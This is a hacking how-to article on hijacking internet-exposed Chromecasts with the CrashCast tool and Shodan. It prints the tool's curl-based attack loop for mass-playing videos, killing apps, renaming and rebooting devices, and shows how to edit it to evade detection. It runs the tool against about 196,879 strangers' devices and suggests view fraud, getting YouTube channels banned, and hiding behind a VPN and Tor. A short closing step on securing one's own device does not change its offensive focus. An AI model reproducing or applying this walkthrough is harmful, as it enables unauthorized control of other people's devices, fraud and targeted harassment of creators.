How To: Hack Together a YouTube Playing Botnet Using Chromecasts

Hack Together a YouTube Playing Botnet Using Chromecasts

Imagine being able to play a video instantly on hundreds of thousands of devices across the globe. It's totally possible, as long as all of those devices have a Chromecast plugged in. When Chromecasts are left exposed to the internet, hackers can use add them to a botnet that can play YouTube videos at will. The "attack" is made even easier thanks to a simple Python program called CrashCast.

In general, the Internet of Things market faces the conundrum between convenience and security. Often times, IoT companies fall on the side of convenience because the customer needs to like the product enough to buy it before they need to worry about its security — if they even care at all. That's exactly why Google compromised security for convenience with the Chromecast.

With a Google Chromecast plugged into a TV or display, any device on the same network can easily broadcast (or "cast") videos and other forms of media to that TV or display. To enable that, it has a simple unauthenticated API (application programming interface) which is generally fine, assuming there aren't any malicious actors on the local network. However, the major problem comes about when these devices unwittingly get exposed to the internet.

When so many devices are left exposed, hackers like TheHackerGiraffe and j3ws3r inevitably come along and take advantage. You may know them as to perpetrators of the PewDiePie propaganda videos in early-2019. But how did they actually perform the hack?

Image by GossiTheDog/Twitter

It's incredibly simple since Chromecast devices have their ports forwarded to the internet, which means hackers can use and abuse them just as they would if they were on their local networks. And that's where the whole Chromecast convenience thing comes back to bite Google in the rear.

With "Cast All the Things," hackers can take advantage of one Chromecast, but how does one scale it to thousands like in the PewDiePie hack? Use Shodan, which continuously scans the internet for IP addresses, available ports, and other distinguishing information. Then, it's just a matter of telling Shodan to find Chomecast devices, and it will give all the devices it finds.

To make things easier, GitHub user 649 created a Python program called Chrashcast. It uses the Shodan API to scan for the devices, then automatically sends the proper post request to each IP address. Additionally, it offers a couple of actions other than just playing a video, such as closing the YouTube app, renaming the device, rebooting it, and killing the home screen. While we don't recommend you actually do this, let's see how a hacker (in our scenario, that'd be you and me) would accomplish the hack.

Step 1: Get a Shodan API Key

The first thing needed to get started is a Shodan API key because, unlike Google, it requires authentication for its API. If you're not already familiar with how powerful Shodan is, check out our guide on using the API to scan for vulnerable devices.

Begin by navigating to the Shodan registration page and create an account. While Shodan is entirely free for our purposes, if you have access to a .edu or .ac.uk email address, be sure to use it when registering for some additional perks. Either way, don't forget to check your email and confirm registration.

Once you have an account created, navigate to your account page and copy the long string of letters and number labeled "API key." We'll need this later when we run Crashcast. Don't ever share this key with anyone — treat it like you would a password because that's precisely what it is, a password for the Shodan API. If at any time you do think it was compromised, you can click on the "Reset API Key" button to generate a new one.

Step 2: Know Why This Attack Is Useful

When choosing a clip, you can select any YouTube video, and every Chromecast device that plays that video will count as a unique view. This opens up some exciting use-cases for Crashcast. Your first thought might be that you could use this to arbitrary give any video an easy 200,000 views. That could be worth a lot of money considering 5,000 views can cost you anywhere from $19 to $40. However, there are some problems with using it that way since it's against the YouTube terms of service to use or buy fake views.

Image via BuyViewsReviews

It's unclear whether or not YouTube logs the data that would be required to detect that all of those views are from Chromecast devices, but YouTube can detect they aren't humans which they do by looking at engagement. For example, we know that YouTube tracks metrics such as view count, time watched, likes, dislikes, and comments. When these Chromecast devices play a video, they will watch it entirely from beginning to end and do absolutely nothing else. As you can imagine, it would look quite suspicious when a video has 200,000 views and zero comments, zero likes, and zero dislikes.

Incidentally, this opens up another attack vector where a hacker might use compromised Chromecast devices to provide an immediate boost to a particular YouTube channel, then report that channel and get it banned or demonetized for the use of view-bots and fake views. Smaller YouTube channels with under 100,000 subscribers would be particularly vulnerable to such an attack because the number of vulnerable Chromecast devices is significantly higher than the legitimate viewer count that their channel would be.

Whether using it to play propaganda videos, pump views into a video, or destroy a YouTube channel, the YouTube video ID is needed to send to the Chromecast devices. We suggest only doing this on devices you own or that have agreed to be a part of your experiment and only for an educational experience. However, that will prove difficult since Shodan will grab ones at random. To be extra safe, just follow along to see how a hacker would perform the hack.

Step 3: Get the YouTube Video ID

Open up the video in your favorite web browser, such as Chrome or Firefox. Now, you can copy everything after "youtube.com/watch?v=" from the URL bar, or you can click on the "Share" button underneath the video player.

If you used the "Share" button, copy everything after "youtu.be/" to get the video ID. This way is the best way to make sure you get a clean video ID. It's worth noting that you can click the checkbox beside "Start at" and designate a particular time within the video to begin playing from.

If you can't decide on a video to use, there's a little Easter egg in Chashcast. Look at the Chrashcast code on line 97 and 98. If a video ID is not provided, it will play oHg5SJYRHA0 by default, which, as you probably just guessed, is a RickRoll video.

if (option == 1):
                video = input("[▸] Enter YouTube video ID to mass-play (the string after v=): ") or "oHg5SJYRHA0"

Step 4: Install Dependencies

Now that we have our Shodan API and video ID, the only thing left is to make sure we have a few dependencies and install Crashcast. The first thing you'll want to install is Python 3, the language Crashcast is written in, as well as pip, a tool to download libraries for Python. Open the command line and use sudo apt-get install to get them. You may have to type y and Enter to confirm the downloads.

~$ sudo apt-get install python3
~$ sudo apt-get install python3-pip

Once pip is installed, use pip3 to install the Shodan library.

~$ pip3 install shodan

Collecting shodan
  Downloading https://files.pythonhosted.org/packages/12/a6/d56c10c6e12bb0438c2f9f100989b262a7a9845a722770e245361f4d837e/shodan-1.13.0.tar.gz (46kB)
    100% |████████████████████████████████| 51kB 639kB/s
Requirement already satisfied: XlsxWriter in /usr/lib/python3/dist-packages (from shodan) (1.1.2)
Requirement already satisfied: click in /usr/lib/python3/dist-packages (from shodan) (7.0)
Collecting click-plugins (from shodan)
  Downloading https://files.pythonhosted.org/packages/e9/da/824b92d9942f4e472702488857914bdd50f73021efea15b4cad9aca8ecef/click_plugins-1.1.1-py2.py3-none-any.whl
Requirement already satisfied: colorama in /usr/lib/python3/dist-packages (from shodan) (0.3.7)
Requirement already satisfied: requests>=2.2.1 in /usr/lib/python3/dist-packages (from shodan) (2.21.0)
Building wheels for collected packages: shodan
  Running setup.py bdist_wheel for shodan ... done
  Stored in directory: /root/.cache/pip/wheels/9f/a4/b7/ba936c98b7222efdfffa84a3534e6f67c88783ce25785d0582
Successfully built shodan
Installing collected packages: click-plugins, shodan
Successfully installed click-plugins-1.1.1 shodan-1.13.0

Curl is used to issue commands to the Chromecast devices, so download that next if you don't already have it. Type y to continue when prompted.

~$ sudo apt-get install curl

Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
  glusterfs-common guile-2.0-libs libacl1-dev libattr1-dev libbind9-160 libboost-atomic1.62.0 libboost-chrono1.62.0 libboost-date-time1.62.0
  libboost-filesystem1.62.0 libboost-iostreams1.62.0 libboost-program-options1.62.0 libboost-program-options1.67.0 libboost-random1.62.0
  libboost-serialization1.62.0 libboost-serialization1.67.0 libboost-system1.62.0 libboost-test1.62.0 libboost-test1.67.0
  libboost-thread1.62.0 libboost-timer1.62.0 libboost-timer1.67.0 libcephfs1 libcgal13 libcharls1 libdee-1.0-4 libdns1102 libenca0 libexempi3
  libfcgi-bin libfcgi0ldbl libgeos-3.7.0 libgfchangelog0 libgfdb0 libglusterfs-dev libgmime-3.0-0 libgtk2-perl libhunspell-1.6-0 libirs160
  libisc169 libisccc160 libisccfg160 libjemalloc1 liblouis16 liblvm2app2.2 liblvm2cmd2.02 liblwgeom-2.5-0 liblwgeom-dev liblwres160
  libmozjs-52-0 libnfs11 libntfs-3g88 libomp5 libopencv-core3.2 libopencv-imgproc3.2 libpango-perl libperl5.26 libpoppler74 libprotobuf-lite10
  libprotobuf10 libpyside1.2 libpython3.6 libpython3.6-minimal libpython3.6-stdlib libqca2 libqca2-plugins libqgis-analysis2.18.28
  libqgis-core2.18.24 libqgis-core2.18.28 libqgis-customwidgets libqgis-gui2.18.24 libqgis-gui2.18.28 libqgis-networkanalysis2.18.24
  libqgis-networkanalysis2.18.28 libqgis-server2.18.28 libqgispython2.18.24 libqgispython2.18.28 libqtwebkit4 libqwt6abi1 libradare2-2.9
  librdmacm1 libre2-4 libsane-extras libsane-extras-common libsfcgal1 libshiboken1.2v5 libspatialindex4v5 libspatialindex5 libtbb2 libunbound2
  libxapian30 libzeitgeist-2.0-0 openjdk-10-jdk openjdk-10-jdk-headless openjdk-10-jre php7.2-mysql python-anyjson
  python-backports.ssl-match-hostname python-capstone python-couchdbkit python-cycler python-http-parser python-jwt python-kiwisolver
  python-libemu python-matplotlib python-matplotlib2-data python-nassl python-owslib python-pam python-pyproj python-pyside.qtcore
  python-pyside.qtgui python-pyside.qtnetwork python-pyside.qtwebkit python-pyspatialite python-qgis python-qgis-common python-qt4-sql
  python-restkit python-shapely python-socketpool python-subprocess32 python3-jwt python3-prettytable python3.6 python3.6-minimal qt4-designer
  ruby-dm-serializer ruby-faraday ruby-geoip ruby-libv8 ruby-ref ruby-therubyracer x11proto-dri2-dev x11proto-gl-dev zeitgeist-core
Use 'sudo apt autoremove' to remove them.
The following additional packages will be installed:
  libcurl4
The following packages will be upgraded:
  curl libcurl4
2 upgraded, 0 newly installed, 0 to remove and 539 not upgraded.
Need to get 0 B/595 kB of archives.
After this operation, 0 B of additional disk space will be used.
Do you want to continue? [Y/n] y
Reading changelogs... Done
(Reading database ... 421783 files and directories currently installed.)
Preparing to unpack .../curl_7.64.0-3_amd64.deb ...
Unpacking curl (7.64.0-3) over (7.64.0-1) ...
Preparing to unpack .../libcurl4_7.64.0-3_amd64.deb ...
Unpacking libcurl4:amd64 (7.64.0-3) over (7.64.0-1) ...
Setting up libcurl4:amd64 (7.64.0-3) ...
Setting up curl (7.64.0-3) ...
Processing triggers for man-db (2.8.5-2) ...
Processing triggers for libc-bin (2.28-8) ...

Lastly, clone the Chrashcast Github repository.

~$ git clone https://github.com/649/Crashcast-Exploit.git

Cloning into 'Crashcast-Exploit'...
remote: Enumerating objects: 38, done.
remote: Counting objects: 100% (38/38), done.
remote: Compressing objects: 100% (29/29), done.
remote: Total 38 (delta 17), reused 29 (delta 8), pack-reused 0
Unpacking objects: 100% (38/38), done.

Step 5: Modify Crashcast to Be Less Detectable (Optional)

At this point, we're ready to run Crashcast. However, there is one annoying thing about the code — there's no delay between sending commands to each Chromecast which will result in near-simultaneous actions across all devices found on Shodan.

For example, if you were to play a video, Chomecast devices all over the world would all play it within a couple of minutes of each other. While that's perfect if you want to have them all reboot or when a hacker wants to bring down a particular YouTube channel, it might be less desirable if you're trying to give your own YouTube videos a couple of extra views. Thankfully, it's not that hard to add a small delay in the program when it's looping over the list of IP addresses.

Begin by moving to the "Crashcast-Exploit" folder, then open the program with Nano or another text editor.

~$ cd Crashcast-Exploit
~/Crashcast=Exploit$ sudo nano -c Crashcast.py

From there, we need to add a few lines of code. The first is to import random, which we'll use to generate a random number of seconds to wait.

from random import randint

Add it with the other import statements near the top so they look like this:

#-- coding: utf8 --
#!/usr/bin/env python3
import sys, os, time, shodan
from random import randint
from pathlib import Path
from contextlib import contextmanager, redirect_stdout

starttime = time.time()

Next, scroll two-thirds of the way down the page using the arrow keys, and look for lines 136–137. Add a sleep timer between them.

time.sleep(randint(1337, 5000) / 1000.0)

It should look like it does below. The indent is very important in Python, so make sure it lines up with the if statement.

...

            if engage.startswith('y'):
                if saveme.startswith('y'):
                    for i in ip_array:
                        time.sleep(randint(1337, 5000) / 1000.0)
                        if (option == 1):
                            print('[+] Sending play video command to Chromecast (%s)' % (i))
                            with suppress_stdout():
                                os.popen('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X POST -d "v=%s"' % (i, video))
                        elif (option == 2):
                            print('[+] Sending terminate YouTube command to Chromecast (%s)' % (i))
                            with suppress_stdout():
                                os.popen('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X DELETE' % (i))
                        elif (option == 3):
                            print('[+] Sending rename device command to Chromecast (%s)' % (i))
                            with suppress_stdout():
                                os.popen('curl -Lv -H "Content-Type: application/json" --data-raw \'{"name":"%s"}\' http://%s:8008/setup/set_eu$
                        elif (option == 4):
                            print('[+] Sending terminate Chromecast command to Chromecast (%s)' % (i))
                            with suppress_stdout():
                                os.popen('curl -X DELETE http://%s:8008/ChromeCast' % (i))
                        elif (option == 5):
                            print('[+] Sending reboot device command to Chromecast (%s)' % (i))
                            with suppress_stdout():
                                os.popen('curl -H "Content-Type: application/json" http://%s:8008/setup/reboot -d \'{"params":"now"}\' -X POST'$

Next, do the same thing with lines and 159–160.

time.sleep(randint(1337, 5000) / 1000.0)

Which would look like:

...

            else
                for result in results['matches']:
                    time.sleep(randint(1337, 5000) / 1000.0)
                    if (option == 1):
                        print('[+] Sending play video command to Chromecast (%s)' % (result['ip_str']))
                        with suppress_stdout():
                            os.popen('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X POST -d "v=%s"' % (result['ip$
                    elif (option == 2):
                        print('[+] Sending terminate YouTube command to Chromecast (%s)' % (result['ip_str']))
                        with suppress_stdout():
                            os.popen('curl -H "Content-Type: application/json" http://%s:8008/apps/YouTube -X DELETE' % (result['ip_str']))
                    elif (option == 3):
                        print('[+] Sending rename device command to Chromecast (%s)' % (result['ip_str']))
                        with suppress_stdout():
                            os.popen('curl -Lv -H "Content-Type: application/json" --data-raw \'{"name":"%s"}\' http://%s:8008/setup/set_eu$
                    elif (option == 4):
                        print('[+] Sending terminate Chromecast command to Chromecast (%s)' % (result['ip_str']))
                        with suppress_stdout():
                            os.popen('curl -X DELETE http://%s:8008/ChromeCast' % (result['ip_str']))
                    elif (option == 5):
                        print('[+] Sending reboot device command to Chromecast (%s)' % (result['ip_str']))
                        with suppress_stdout():
                            os.popen('curl -H "Content-Type: application/json" http://%s:8008/setup/reboot -d \'{"params":"now"}\' -X POST'$

You can think of the sleep function as a timer. What this line does is gets a random number between 1,337 and 5,000, which represents a time in milliseconds. It then divides by 1,000 to convert to seconds and waits that long between issuing commands to the Chromecast devices. You can change 1,337 and 5,000 to any value you want, and it will wait a random time in that range. For example, 10,000 would be 10 seconds.

When you're done, hit Ctrl x to exit nano, then y to save the changes.

Step 6: Run Crashcast

Before running Crashcast, note that this is a legally gray area, and you should use this at your own risk. While the devices are on the internet, it doesn't mean that you have the right to use them. Even if you do, in your country, it may not be in the country the Chromecast is located in.

Start Crashcast with Python.

~$ python3 Crashcast.py

           ██████╗██████╗  █████╗ ███████╗██╗  ██╗ ██████╗ █████╗ ███████╗████████╗
          ██╔════╝██╔══██╗██╔══██╗██╔════╝██║  ██║██╔════╝██╔══██╗██╔════╝╚══██╔══╝
          ██║     ██████╔╝███████║███████╗███████║██║     ███████║███████╗   ██║
          ██║     ██╔══██╗██╔══██║╚════██║██╔══██║██║     ██╔══██║╚════██║   ██║
          ╚██████╗██║  ██║██║  ██║███████║██║  ██║╚██████╗██║  ██║███████║   ██║
           ╚═════╝╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝╚══════╝   ╚═╝

                                        Author: @037
                                        Version: 2.0

####################################### DISCLAIMER ########################################
| ChrashCast is a tool that allows you to use Shodan.io to obtain thousands of vulnerable |
| Chromecast devices. It then allows you to use the same devices to mass-play any video   |
| you like, reboot device, set new device name, and terminate apps. It uses a simple cURL |
| command to execute the specified command on all the vulnerable Chromecast devices. This |
| exploit only works because people decided it would be a good idea to leave their device |
| exposed to the entire internet. Think again.                                            |
######################################### WARNING #########################################
| I am NOT responsible for any damages caused or any crimes committed by using this tool. |
| Use this tool at your own risk, it is meant to ONLY be a proof-of-concept for research. |
###########################################################################################

Assuming this is the first time running the program, paste your Shodan API key from before when prompted, and then Enter. After that, verify you want to use Shodan with y and Enter. Lastly, save the results with y and Enter, and decline locally stored with n and Enter.

Now, choose the style of exploit you want to use from the menu, type in the number, and hit Enter.

[*] Please enter a valid Shodan.io API Key: ████████████████████████
[~] File written: ./api.txt

[*] Use Shodan API to search for affected Chromecast devices? <Y/n>: y

[~] Checking Shodan.io API Key: ████████████████████████
[✓] API Key Authentication: SUCCESS
[~] Number of Chromecast devices: 196879

[*] Save results for later usage?  <Y/n>: y
[~] File written: ./chromecast.txt

[*] Would you like to use locally stored Shodan data?  <Y/n>: n
####################################### CHOICES ########################################
| 1. Mass-play YouTube video: Unreliable, may not work. Only requires YT video ID.     |
| 2. Close YouTube app: Will terminate YouTube process.                                |
| 3. Rename Chromecast Device: Will reassign new defined SSID name for device.         |
| 4. Kill Chromecast Process: Will stop Chromecast home screen.                        |
| 5. Reboot Chromecast: Will simply cause Chromecast to reboot.                        |
########################################################################################
[*] Select option (1–5): 1

[*] Enter YouTube video ID to mass-play (the string after v=): F2HH7J-Sx80

For the video option, you can now paste the video ID from Step 3 and hit Enter. It will display the list of all the IP addresses that are about to be bombarded with requests.

[+] Chromecast device (73) | IP: ███.███.██.███ | OS: None | ISP: Korea Telecom |
[+] Chromecast device (74) | IP: ███.███.██.███ | OS: None | ISP: Lg Powercomm |
[+] Chromecast device (75) | IP: ███.███.██.███ | OS: None | ISP: Bredband i Kristianstad AB |
[+] Chromecast device (76) | IP: ███.███.██.███ | OS: None | ISP: Fastweb |
[+] Chromecast device (77) | IP: ███.███.██.███ | OS: None | ISP: Lg Powercomm |
[+] Chromecast device (78) | IP: ███.███.██.███ | OS: None | ISP: Korea Telecom |
[+] Chromecast device (79) | IP: ███.███.██.███ | OS: None | ISP: LG DACOM Corporation |
[+] Chromecast device (80) | IP: ███.███.██.███ | OS: None | ISP: Lg Powercomm |
[+] Chromecast device (81) | IP: ███.███.██.███ | OS: None | ISP: Lg Powercomm |
[+] Chromecast device (82) | IP: ███.███.██.███ | OS: None | ISP: Lg Powercomm |
[+] Chromecast device (83) | IP: ███.███.██.███ | OS: None | ISP: Lg Powercomm |
[+] Chromecast device (84) | IP: ███.███.██.███ | OS: None | ISP: Hoshin Multimedia Center |
[+] Chromecast device (85) | IP: ███.███.██.███ | OS: None | ISP: Mobile Services Latvia |
[+] Chromecast device (86) | IP: ███.███.██.███ | OS: None | ISP: Lg Powercomm |
[+] Chromecast device (87) | IP: ███.███.██.███ | OS: None | ISP: Lg Powercomm |
[+] Chromecast device (88) | IP: ███.███.██.███ | OS: None | ISP: Lg Powercomm |
[+] Chromecast device (89) | IP: ███.███.██.███ | OS: None | ISP: Korea Telecom |
[+] Chromecast device (90) | IP: ███.███.██.███ | OS: None | ISP: Telefonica de Espana |
[+] Chromecast device (91) | IP: ███.███.██.███ | OS: None | ISP: Lg Powercomm |
[+] Chromecast device (92) | IP: ███.███.██.███ | OS: None | ISP: Lg Powercomm |
[+] Chromecast device (93) | IP: ███.███.██.███ | OS: None | ISP: Frontier Communications |
[+] Chromecast device (94) | IP: ███.███.██.███ | OS: None | ISP: Lg Powercomm |
[+] Chromecast device (95) | IP: ███.███.██.███ | OS: None | ISP: LG DACOM Corporation |
[+] Chromecast device (96) | IP: ███.███.██.███ | OS: None | ISP: Retel Jsc. |
[+] Chromecast device (97) | IP: ███.███.██.███ | OS: None | ISP: FORTHnet SA |
[+] Chromecast device (98) | IP: ███.███.██.███ | OS: None | ISP: LG DACOM Corporation |
[+] Chromecast device (99) | IP: ███.███.██.███ | OS: None | ISP: Lg Powercomm |
[+] Chromecast device (100) | IP: ███.███.██.███ | OS: None | ISP: Lg Powercomm |

[*] Ready to mass-play YouTube video (F2HH7J-Sx80)? <Y/n>: y

I should point out a limitation with the Shodan API — it's incapable of distinguishing between legitimate Chromecast devices and honeypots designed to emulate them. So, inevitably, at least a few of the IP addresses in this list will be honeypots, which means you should take necessary precautions such as using a VPN and Tor if you are not already. Otherwise, you might be shamed on Twitter.

Either way, when you're ready to execute the attack, do the last y and Enter. And just like that, you exploited thousands of Chromecast devices.

Step 7: Protect Your Own Chromecast

If you have a Chromecast of your own, open your router admin page, which should be something like 192.168.1.1. Check your router model's guide for help identifying it. Once there, find a port forwarding setting and look for the ports 8008, 8443, and 8009. If you see any of those being forwarded, then stop and remove them.

Other than that, you may wish to turn off any Universal Plug and Play (UPnP) settings on the router. The original PewDiePie hackers believed that UPnP might be part of the issue but others have disputed this. As long as the three ports are not being forwarded, you should be safe as a kitten.

Thanks for reading! If you have any questions, you can ask here in the comments or on Twitter @The_Hoid.

Cover photo by Justin Meyers/Null Byte; Screenshots by Hoid/Null Byte

Never Miss a Hacking or Security Guide

Get new Null Byte guides every week.

Be the First to Comment

Share Your Thoughts

  • Hot
  • Latest